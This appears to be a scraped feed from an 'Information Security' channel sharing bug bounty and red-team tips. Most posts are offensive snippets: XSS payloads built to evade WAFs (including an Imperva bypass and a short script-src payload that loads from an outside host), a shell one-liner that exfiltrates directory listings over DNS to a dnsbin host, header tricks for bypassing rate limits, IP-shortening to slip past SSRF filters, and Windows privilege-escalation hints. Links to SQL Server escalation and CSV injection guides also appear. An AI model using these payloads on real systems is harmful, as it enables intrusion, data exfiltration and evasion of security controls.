Information Security

»_ everything is not as it seems. 🎃 «input»; p=-alert(1)}//\ $result* var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"}; «input»; p=\&q=-alert(1)// $result* var n = {a: "\", b: "-alert(1)}//"}; #BugBounty #BugBountyTip #WAF #infosec

117 views08:52

Hacking SQL Server Stored Procedures

1: (un)Trustworthy Databases
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

2: User Impersonation
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/

3: SQL Injection
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/

4: Enumerating Domain Accounts
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

#infosec #pentest #redteam

NetSPI

Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases

In this blog I’ll show how database users commonly created for web applications can be used to escalate privileges in SQL Server when database ownership is poorly configured.

154 views05:03

Information Security

CSV Injection: http://ghostlulz.com/csv-injection/

ClickJacking: http://ghostlulz.com/clickjacking/

Exposed Firebase DB: http://ghostlulz.com/google-exposed-firebase-database/

Config Files: http://ghostlulz.com/exposed-log-and-configuration-files/

Kubernetes API : http://ghostlulz.com/exposed-kubernetes-api/

#bugbounty #bugbountytips #bugbountytip #redteam #pentest #infosec #xss

Ghostlulz

CSV Injection - Ghostlulz

How to use CSV injection AKA Formula injection to embed a malicous payload into to spread sheet.

120 views18:17

Information Security

No Privilege Escalating through standard methods ?

whoami /priv

If you got one of these == win 😏

SeBackupPrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege, SeTcbPrivilege, SeCreateToken Privilege, SeLoadDriver Privilege, SeImpersonate

#infosec #pentest #redteam

106 views08:14

Information Security

https://twitter.com/omespino/status/1240139236067758082

Twitter

Omar Espino •

[ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 & 443 ports, works on port 53 & most times is open go to dnsbin.zhack.ca execute a simple 'ls' for i in $(ls);do host $i.96a755.d.zhack.ca;done #Bugbounty…

114 views11:56

Information Security

Rate limit bypass:
Add header/s with request
X-Originating-IP: IP
X-Forwarded-For: IP
X-Remote-IP: IP
X-Remote-Addr: IP
X-Client-IP: IP
X-Host: IP
X-Forwared-Host: IP

If bypass successful, & after a while blocking request again. Increment the last octate
#infosec #bugbounty

143 views18:45

Information Security

Bugbounty tips#3

Short IP addrs by dropping zeroes. To bypasses WAF filters for SSRF, open-redirect, whr any IP got blocked

Exmpls:
http://1.0.0.1 → http://1.1
http://192.168.0.1 → http://192.168.1

#infosec #SSRF #bugbountytip #bypass #WAF #bugbountytips #hackerone #hackers

121 views18:49

Information Security

If you have access of Notepad and 'Save as' option then run Powershell and start DomainEnumeration.

#redteam #offSec #infosec

117 views17:30

Information Security

please note and share;

blocked:
onauxclick=confirm(2)

bypassed:
onauxclick=[2].some(confirm)

#XSS #WAF #WAFBypass #bugbountytips #security #infosec #hacking

127 views11:46

Information Security

Imperva WAF Bypass for XSS;

<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];">

- without parentheses, 'alert', 'document.domain' , 'window' , space

#BugBounty #BugBountyTip #WAF #infosec

130 views12:01

Information Security

Grep hostnames from ssl certificate

echo | openssl s_client -connect example\.com | openssl x509 -noout -text | grep DNS

#infosec #pentest #bugbounty

130 views18:53

Information Security

https://twitter.com/trbughunters/status/1318145809750331392?s=20

Twitter

TR Bug Hunters

an XSS payload with script src for short length inputs <script src=//⑮.₨></script> #bugbounty #bugbountytips #bugbountytip #infosec #cybersecurity #ethicalhacking

149 views08:21

Information Security

https://twitter.com/hackinarticles/status/1490582688780017670?s=20

Twitter

Hacking Articles

VIM Command Cheatsheet #infosec #cybersecurity #pentesting #oscp #informationsecurity #cissp #CyberSec #networking #networksecurity #Security #CheatSheet #infosecurity #linux #unix #vim